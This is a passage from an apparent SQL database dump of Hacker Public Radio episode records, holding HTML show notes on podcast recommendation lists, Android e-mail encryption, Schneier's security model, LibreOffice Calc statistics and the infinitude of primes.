broadcasts weekly across North America. We explore the connections between science, popular culture, history, and public policy, to help listeners understand the evidence and arguments behind what\'s in the news and on the shelves.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Science in Action</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/p002vsnb\">https://www.bbc.co.uk/programmes/p002vsnb</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/worldservice/scia/rss.xml\">https://downloads.bbc.co.uk/podcasts/worldservice/scia/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-08</li>\n    <li><strong>Description:</strong> New developments in science and science news from around the world, weekly from BBC World Service.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Digital Human</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b01h8nnt\">https://www.bbc.co.uk/programmes/b01h8nnt</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/dh/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/dh/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-05</li>\n    <li><strong>Description:</strong> Aleks Krotoski charts how digital culture is moulding modern living. Each week join technology journalist Aleks Krotoski as she goes beyond the latest gadget or web innovation to understand what sort of world we’re creating with our ‘always on’ lives.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Infinite Monkey Cage</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/programmes/b00snr0w\">https://www.bbc.co.uk/programmes/b00snr0w</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/timc/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-10</li>\n    <li><strong>Description:</strong> Award winning science/comedy chat with Brian Cox, Robin Ince and guests. Witty, irreverent look at the world according to science with physicist Brian Cox and comedian Robin Ince. New Series starting on BBC Radio 4, Monday 18th November at 4.30pm (repeated on Tuesday evenings at 11pm) for 6 weeks.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Life Scientific</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.bbc.co.uk/radio4\">https://www.bbc.co.uk/radio4</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://downloads.bbc.co.uk/podcasts/radio4/tls/rss.xml\">https://downloads.bbc.co.uk/podcasts/radio4/tls/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-08</li>\n    <li><strong>Description:</strong> Each week, Jim al-Khalili invites a leading scientist to tell us about their life and work. He\'ll talk to Nobel laureates as well as the next generation of beautiful minds to find out what inspires and motivates them and what their discoveries might do for us.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>- The Naked Scientists Podcast - Stripping Down Science</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.thenakedscientists.com/HTML/podcasts/\">https://www.thenakedscientists.com/HTML/podcasts/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.thenakedscientists.com/naked_scientists_podcast.xml\">https://www.thenakedscientists.com/naked_scientists_podcast.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-12</li>\n    <li><strong>Description:</strong> The Naked Scientists flagship science show brings you a lighthearted look at the latest scientific breakthroughs, interviews with the world\'s top scientists, answers to your science questions and science experiments to try at home.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>This Week in Microbiology with Vincent Racaniello</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.microbeworld.org/twim\">https://www.microbeworld.org/twim</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/twim\">https://feeds.feedburner.com/twim</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-01</li>\n    <li><strong>Description:</strong> This Week in Microbiology (TWiM). A podcast about unseen life on Earth hosted by Vincent Racaniello and friends. Following in the path of his successful shows \'This Week in Virology\' (TWiV) and \'This Week in Parasitism\' (TWiP), Racaniello and guests produce an informal yet informative conversation about microbes which is accessible to everyone, no matter what their science background. As a science Professor at Columbia University, Racaniello has spent his academic career directing a research laboratory focused on viruses. His enthusiasm for teaching inspired him to reach beyond the classroom using new media. TWiM is for everyone who wants to learn about the science of microbiology in a casual way. While there are no exams or pop quizzes, TWiM does encourage interaction with the audience via comments on specific episodes, email and Skype. Listeners can also use www.MicrobeWorld.org to suggest topics for the show by submitting articles, papers, video and images to the site and tagging them with \"TWiM\". Each week Racaniello will view the tagged content and select items for discussion. For questions and/or feedback please email ccondayan@asmusa.org.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>This Week in Parasitism</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://microbeworld.org/twip\">https://microbeworld.org/twip</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://twip.microbeworld.libsynpro.com/rss\">https://twip.microbeworld.libsynpro.com/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-10</li>\n    <li><strong>Description:</strong> TWiP is a monthly netcast about eukaryotic parasites. Vincent Racaniello and Dickson Despommier, science Professors from Columbia University, deconstruct parasites, how they cause illness, and how you can prevent infections.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>This Week in Virology with Vincent Racaniello</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.twiv.tv\">https://www.twiv.tv</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds2.feedburner.com/twivmp3\">https://feeds2.feedburner.com/twivmp3</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-11</li>\n    <li><strong>Description:</strong> This Week in Virology is a netcast about viruses - the kind that make you sick. Professors Vincent Racaniello, Dickson Despommier, Rich Condit and science writer Alan Dove and guests deconstruct viruses, how they cause illness, and how you can prevent infections.</li>\n    <li><strong>Category:</strong> Science</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Doctor Who: Radio Free Skaro</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.radiofreeskaro.com\">https://www.radiofreeskaro.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://freyburg.libsyn.com/rss\">https://freyburg.libsyn.com/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-05-11</li>\n    <li><strong>Description:</strong> Radio Free Skaro is possibly the most popular, most prolific and charmingly irreverent (but never irrelevant) Doctor Who podcast around. All previous episodes are available on the iTunes feed, as well as the Radio Free Skaro homepage - www.radiofreeskaro.com. Enjoy!</li>\n    <li><strong>Category:</strong> Sci-fi</li>\n   </ul>\n  </li>\n </ol>\n',225,75,1,'CC-BY-SA','podcasts,recommendations',0,1446,1),
(1557,'2014-07-22','Encrypting E-mail on Android; Importing Keys',1865,'This episode looks at a sensible model of obtaining the right amount of security for your needs.','<p>We have looked at e-mail encryption on both Thunderbird and G-Mail, and that is good, but in 2014 a lot of people use mobile phones and tablets for their e-mail. So it makes sense to look at how we can do this. The solution I am going explore here involves two components, the K-9 Android mail client, and APG, the Android Privacy Guard. I am going to stick to what I know, so if you are looking for help with iPhone or iPad, the best I can do is suggest that you try a Google search. On Android, while many people use Gmail, K-9 is a very popular client for people looking for a more traditional POP3 or IMAP client to handle their e-mail needs. So this should be a good solution for many people. As regards APG, I am not aware that anyone has done an audit of this program. It seems to be the most widely recommended, and is probably OK, but I am making no larger claims for it. - For more go to <a href=\"https://www.zwilnik.com/?page_id=602\">https://www.zwilnik.com/?page_id=602</a></p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://play.google.com/store/apps/details?id=com.fsck.k9\">https://play.google.com/store/apps/details?id=com.fsck.k9</a></li>\n  <li><a href=\"https://play.google.com/store/apps/details?id=org.thialfihar.android.apg\">https://play.google.com/store/apps/details?id=org.thialfihar.android.apg</a></li>\n  <li><a href=\"https://play.google.com/store/apps/details?id=com.sand.airdroid\">https://play.google.com/store/apps/details?id=com.sand.airdroid</a></li>\n  <li><a href=\"https://www.zwilnik.com/?page_id=2\">https://www.zwilnik.com/?page_id=2</a></li>\n  <li><a href=\"https://www.schneier.com/contact.html\">https://www.schneier.com/contact.html</a></li>\n  <li><a href=\"https://www.gnupg.org/gph/en/manual/x334.html\">https://www.gnupg.org/gph/en/manual/x334.html</a></li>\n  <li><a href=\"https://www.zwilnik.com/?page_id=602\">https://www.zwilnik.com/?page_id=602</a></li>\n </ul>',198,74,0,'CC-BY-SA','Security and Privacy series, cost/benefit',0,1248,1),
(1572,'2014-08-12','An Open Source News Break from Opensource.com',287,'Fedora Scientific, pharmaceutical research, Apache Open Climate workbench.','<p>\r\nIn this episode: The new Fedora Scientific Spin, open source approaches to pharmaceutical research, and the Apache Open Climate workbench.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/life/14/6/linux-distribution-science-geeks\">https://opensource.com/life/14/6/linux-distribution-science-geeks</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/health/14/6/can-open-science-help-patients-and-save-pharma\">https://opensource.com/health/14/6/can-open-science-help-patients-and-save-pharma</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/6/NASA-Earth-science-open-source\">https://opensource.com/life/14/6/NASA-Earth-science-open-source</a>\r\n</li>\r\n</ul>',280,28,0,'CC-BY-SA','Fedora Scientific,pharmaceutical research,Apache Open Climate workbench',0,0,1),
(1581,'2014-08-25','Sensible Security: The Schneier Model',1698,'This episode looks at a sensible model of obtaining the right amount of security for your needs.','<p>Back in 2001 there was a certain incident on September 11 that lead many people to go OMG! We are doomed! We must increase security! Do whatever it takes! And the NSA was happy to oblige. And on 7/7/05 an attack in London added to the frenzy. I think it is fair to say that these security agencies felt they were given a mandate to do anything as long as it stops the attacks, and thus was the overwhelming attack on privacy moved to a whole level higher. To be clear, security agencies are always pushing the limits, it is in their DNA. And politicians have learned that you never lose votes by insisting on stronger security and appearing tough. - For more go to <a href=\"https://www.zwilnik.com/?page_id=577\">https://www.zwilnik.com/?page_id=577</a></p>\n <p>Links:</p>\n <ul>\n  <li><a href=\"https://www.amazon.com/Beyond-Fear-Thinking-Sensibly-Uncertain/dp/0387026207\">https://www.amazon.com/Beyond-Fear-Thinking-Sensibly-Uncertain/dp/0387026207</a></li>\n  <li><a href=\"https://www.zwilnik.com/?page_id=577\">https://www.zwilnik.com/?page_id=577</a></li>\n </ul>',198,74,0,'CC-BY-SA','Security and Privacy series, cost/benefit',0,0,1),
(1605,'2014-09-26','38 - LibreOffice Calc - simple Descriptive Statistics',1149,'Descriptive statistics is how we make basic measurements about a population','<p>In Statistics there are generally speaking two types of analysis, broken down between Descriptive and Inferential statistics. The difference has to do what what claims you are making about the data. If you are simply stating something about the data (e.g. there were more men than women in the sample) that is descriptive. But if you make a claim that something is not likely to occur by chance, for instance, or that something is statistically significant (and both of those statements are essentially the same thing) then you are in the realm of inferential statistics. Calc has functions to do both kinds of analysis, and this tutorial will examine some of the common descriptive statistics in Calc and how they are used. - For more go to <a href=\"https://www.ahuka.com/?page_id=844\">https://www.ahuka.com/?page_id=844</a></p>\n <ul>\n  <li><a href=\"https://www.ahuka.com/?attachment_id=856\">https://www.ahuka.com/?attachment_id=856</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=844\">https://www.ahuka.com/?page_id=844</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, functions, descriptive statistics',0,0,1),
(1615,'2014-10-10','39 - LibreOffice Calc - Inferential Statistics Functions',1212,'Inferential statistics is how we draw conclusions from data and make predictions.','<p>Inferential statistics is what you do to say that something is likely, or that it is not due to chance, or things of the sort. It goes beyond simply describing what is in the numbers and lets you say something about what the numbers in a sample might mean for the population that generated the sample. There are several type of Inferential Statistics that I want to address in this tutorial, beginning with the idea of a confidence interval. - For more go to <a href=\"https://www.ahuka.com/?page_id=861\">https://www.ahuka.com/?page_id=861</a></p>\n <ul>\n  <li><a href=\"https://en.wikipedia.org/wiki/Coefficient_of_determination\">https://en.wikipedia.org/wiki/Coefficient_of_determination</a></li>\n  <li><a href=\"https://www.ahuka.com/?attachment_id=872\">https://www.ahuka.com/?attachment_id=872</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=861\">https://www.ahuka.com/?page_id=861</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, functions, inferential, statistics',0,0,1),
(1625,'2014-10-24','40 - LibreOffice Calc - Other Functions',913,'A quick look at some miscellaneous functions in Calc.','<p>We spent a lot of time looking at some Financial and Statistical functions. I don\'t propose to go into the remaining types of function in nearly the same depth. That would draw out the series without benefit to most people. But I do want to highlight some of the functions in the other categories so that you have an idea of what is possible in Calc. Remember that if you need to know more about them Google is your friend. - For more go to <a href=\"https://www.ahuka.com/?page_id=875\">https://www.ahuka.com/?page_id=875</a></p>\n <ul>\n  <li><a href=\"https://help.libreoffice.org/Calc/Database_Functions\">https://help.libreoffice.org/Calc/Database_Functions</a></li>\n  <li><a href=\"https://www.ahuka.com/?page_id=875\">https://www.ahuka.com/?page_id=875</a></li>\n </ul>',198,70,0,'CC-BY-SA','LibreOffice, Calc, Spreadsheet, functions',0,0,1),
(1517,'2014-05-27','The set of prime numbers is infinite',443,'johanv talks about prime numbers','<p>\r\nIn this short article I want to talk about prime numbers. In particular:\r\nabout the fact that there exist an infinite number of prime numbers. This\r\nhas been proven more than 2000 years ago, but I noticed that a lot of\r\nmy friends that don\'t have a mathematical background, aren\'t aware of\r\nthis fact.\r\n</p>\r\n<p>\r\nYet it is rather easy to prove. So that is what I\'ll be doing in this\r\narticle. If you are afraid of math, don\'t worry, it won\'t take more than\r\n10 minutes.\r\n</p>\r\n<p>\r\nA transcript of this show can be found on my blog:\r\n<a href=\"https://www.johanv.org/node/211\">https://www.johanv.org/node/211</a>\r\n</p>',233,0,0,'CC-BY-SA','math,prime numbers',0,1451,1),
(1518,'2014-05-28','02 The podcasts I listen to',1658,'I listen to a lot of podcasts and thought it might be interesting if I shared them on HPR','<p>I listen to a lot of podcasts. I started listening to them back in around 2005 after buying my first portable player.</p>\n <p>This is a continuation of the 85 podcast feeds I subscribe to. In my last show I reported on the first 41 of the set. Here are the remaining 44 feeds.</p>\n <p><strong>Note:</strong> The list below is generated by a script which performs a query on my database. I have relied on parsing the feeds themselves for the websites, using the link value. In a few cases the value is unfortunately incorrect or missing because the feed is mis-configured.</p>\n <p>I have included an OPML version of the list in case you want to load it or part of it into your podcatcher. Find it at <a href=\"https://www.hackerpublicradio.org/eps/hpr1516.opml\">https://www.hackerpublicradio.org/eps/hpr1516.opml</a></p>\n <ol start=\"41\">\n  <li>\n   <h4>Amateur Skeptics</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://amateurskeptics.com/feeds/%252Fpodcast-rss.xml?status=1\">https://amateurskeptics.com/feeds/%252Fpodcast-rss.xml?status=1</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/AmateurSkeptics\">https://feeds.feedburner.com/AmateurSkeptics</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-23</li>\n    <li><strong>Description:</strong> We here at Amateur Skeptics are not scientists. We are normal people who are trying to look at the world with an evidence-based approach. We strive to have open minds and change our opinions with new evidence.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Geeks Without God</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://geekswithoutgod.com\">https://geekswithoutgod.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://geekswithoutgod.com/feed/\">https://geekswithoutgod.com/feed/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-15</li>\n    <li><strong>Description:</strong></li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>InKredulous</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.merseysideskeptics.org.uk/podcasts/\">https://www.merseysideskeptics.org.uk/podcasts/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/inkredulous\">https://feeds.feedburner.com/inkredulous</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-24</li>\n    <li><strong>Description:</strong> InKredulous is the topical, skeptical, news quiz game from the Merseyside Skeptics Society. We are a non-profit organisation dedicated to the promotion of scientific skepticism on Merseyside, around the UK and internationally.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Rationally Speaking</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.rationallyspeakingpodcast.org\">https://www.rationallyspeakingpodcast.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.nycskeptics.org/storage/feeds/rs.xml\">https://www.nycskeptics.org/storage/feeds/rs.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-06</li>\n    <li><strong>Description:</strong> Rationally Speaking is the bi-weekly podcast of New York City Skeptics. Join hosts Massimo Pigliucci and Julia Galef as they explore the borderlands between reason and nonsense, likely from unlikely, and science from pseudoscience. Any topic is fair game as long as we can bring reason to bear upon it, with both a skeptical eye and a good dose of humor! We agree with the Marquis de Condorcet, who said that in an open society we ought to devote ourselves to \"the tracking down of prejudices in the hiding places where priests, the schools, the government, and all long-established institutions had gathered and protected them.\" Rationally Speaking is produced by Benny Pollak and is recorded in the heart of New York City\'s Greenwich Village.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Skepticality:The Official Podcast of Skeptic Magazine</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.skepticality.com\">https://www.skepticality.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://skepticality.libsyn.com/rss/\">https://skepticality.libsyn.com/rss/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-01</li>\n    <li><strong>Description:</strong> Skeptical discussion, critical thinking, science, and the de-bunking of the supernatural and psuedoscience.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Skeptics with a K</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.merseysideskeptics.org.uk/podcasts/\">https://www.merseysideskeptics.org.uk/podcasts/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/swak\">https://feeds.feedburner.com/swak</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> Skeptics with a K is the podcast for science, reason and critical thinking from the Merseyside Skeptics Society.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Skepticule</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.skepticule.co.uk/\">https://www.skepticule.co.uk/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.skepticule.co.uk/feeds/posts/default?alt=rss\">https://www.skepticule.co.uk/feeds/posts/default?alt=rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> Irregular audio utterances from a UK skeptic or three</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Pod Delusion</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://poddelusion.co.uk\">https://poddelusion.co.uk</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/ThePodDelusion\">https://feeds.feedburner.com/ThePodDelusion</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-04</li>\n    <li><strong>Description:</strong> The Pod Delusion is a weekly news magazine podcast about interesting things. From politics, to science to culture and philosophy, it\'s commentary from a secular, rationalist, skeptical, somewhat lefty-liberal, sort of perspective.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Pod Delusion » Pod Delusion Extra</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://poddelusion.co.uk/blog\">https://poddelusion.co.uk/blog</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://ubsrv/feeds/ThePodDelusionExtra.rss\">https://ubsrv/feeds/ThePodDelusionExtra.rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-09-25</li>\n    <li><strong>Description:</strong> A Radio Show &amp; Podcast About Interesting Things</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Skeptics\' Guide to the Universe</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.theskepticsguide.org/podcast/sgu\">https://www.theskepticsguide.org/podcast/sgu</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.theskepticsguide.org/feed/rss.aspx?feed=SGU\">https://www.theskepticsguide.org/feed/rss.aspx?feed=SGU</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-10</li>\n    <li><strong>Description:</strong> The Skeptics\' Guide to the Universe is a weekly Podcast talkshow discussing the latest news and topics from the world of the paranormal, fringe science, and controversial claims from a scientific point of view. -The Skeptics\' Guide to the Universe: Your escape to reality -Produced by the New England Skeptical Society in association with the James Randi Educational Foundation(JREF) : https://www.theness.com</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>The Skeptic Zone</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.skepticzone.tv\">https://www.skepticzone.tv</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://skepticzone.libsyn.com/rss\">https://skepticzone.libsyn.com/rss</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-13</li>\n    <li><strong>Description:</strong> The Podcast from Australia for Science and Reason. Join Richard Saunders and the crew for interviews and reports from around the world.</li>\n    <li><strong>Category:</strong> Skepticism</li>\n   </ul>\n  </li>\n  <li>\n   <h4>2600 - 2600: The Hackers Quarterly</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://www.2600.com/\">https://www.2600.com/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.2600.com/rss.xml\">https://www.2600.com/rss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-08</li>\n    <li><strong>Description:</strong> 2600 News Feed</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>bsdtalk</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://bsdtalk.blogspot.com/\">https://bsdtalk.blogspot.com/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/Bsdtalk\">https://feeds.feedburner.com/Bsdtalk</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-28</li>\n    <li><strong>Description:</strong> Talking about the BSD family of free operating systems.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>/dev/random Cast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://devrandomshow.org/\">https://devrandomshow.org/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://devrandomshow.org/shows/?f=atom.xml\">https://devrandomshow.org/shows/?f=atom.xml</a></li>\n    <li><strong>Format:</strong> Atom</li>\n    <li><strong>Last episode:</strong> 2014-01-24</li>\n    <li><strong>Description:</strong> /dev/random is a show created by a bunch of random people, at a random time, on random topics that MAY be of interest ... to someone. The show is available here and WAS also available via the AWESOME Hacker Public Radio (HPR) ( https://hackerpublicradio.org/ ) until they wised up.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>FLOSS Weekly (MP3)</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://twit.tv/floss\">https://twit.tv/floss</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://leoville.tv/podcasts/floss.xml\">https://leoville.tv/podcasts/floss.xml</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-09</li>\n    <li><strong>Description:</strong> We\'re not talking dentistry here; FLOSS all about Free Libre Open Source Software. Join host Randal Schwartz every Wednesday as he talks with the most interesting and important people in the Open Source and Free Software community. Records live at https://live.twit.tv/ every Wednesday at 8:30am PT/11:30am ET.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Free as in Freedom</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://faif.us/cast/\">https://faif.us/cast/</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://faif.us/feeds/cast-ogg/\">https://faif.us/feeds/cast-ogg/</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-10-17</li>\n    <li><strong>Description:</strong> A bi-weekly discussion of legal, policy, and other issues in the open source and software freedom community (including occasional interviews) from Brooklyn, New York, USA. Presented by Karen Sandler and Bradley M. Kuhn.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Frostcast OGG</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://frostbitemedia.org/frostcast\">https://frostbitemedia.org/frostcast</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/frostcastogg\">https://feeds.feedburner.com/frostcastogg</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2013-11-05</li>\n    <li><strong>Description:</strong></li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Full Circle Magazine » podcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://fullcirclemagazine.org\">https://fullcirclemagazine.org</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://fullcirclemagazine.org/category/podcast/feed/atom/\">https://fullcirclemagazine.org/category/podcast/feed/atom/</a></li>\n    <li><strong>Format:</strong> Atom</li>\n    <li><strong>Last episode:</strong> 2014-04-05</li>\n    <li><strong>Description:</strong> The independent magazine for the Ubuntu Linux community.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>GNU World Order</h4>\n   <ul>\n    <li><strong>Website:</strong> -</li>\n    <li><strong>Feed:</strong> <a href=\"https://gnuworldorder.info/ogg.atom.xml\">https://gnuworldorder.info/ogg.atom.xml</a></li>\n    <li><strong>Format:</strong> Atom</li>\n    <li><strong>Last episode:</strong> 2014-03-25</li>\n    <li><strong>Description:</strong> Ogg Atom Feed</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Hacker Public Radio</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://hackerpublicradio.org/about.php\">https://hackerpublicradio.org/about.php</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://hackerpublicradio.org/hpr_ogg_rss.php\">https://hackerpublicradio.org/hpr_ogg_rss.php</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-04-15</li>\n    <li><strong>Description:</strong> Hacker Public Radio is an podcast that releases shows every weekday Monday through Friday. Our shows are produced by the community (you) and can be on any topic that are of interest to hackers and hobbyists.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>KernelPanic Oggcast</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://kernelpanicoggcast.net\">https://kernelpanicoggcast.net</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://www.kernelpanicoggcast.net/rss.php\">https://www.kernelpanicoggcast.net/rss.php</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-03-24</li>\n    <li><strong>Description:</strong> KernelPanic Oggcast is a work/family friendly show that broadcasts live, fortnightly on Saturday night. Join us as we discuss Linux/FOSS news and reviews.</li>\n    <li><strong>Category:</strong> Technical</li>\n   </ul>\n  </li>\n  <li>\n   <h4>Knightwise.com Audio Feed.</h4>\n   <ul>\n    <li><strong>Website:</strong> <a href=\"https://knightwise.com\">https://knightwise.com</a></li>\n    <li><strong>Feed:</strong> <a href=\"https://feeds.feedburner.com/knightcastpodcast\">https://feeds.feedburner.com/knightcastpodcast</a></li>\n    <li><strong>Format:</strong> RSS 2.0</li>\n    <li><strong>Last episode:</strong> 2014-02-09</li>\n    <li><strong>Description:</strong> The cross platform podcast that 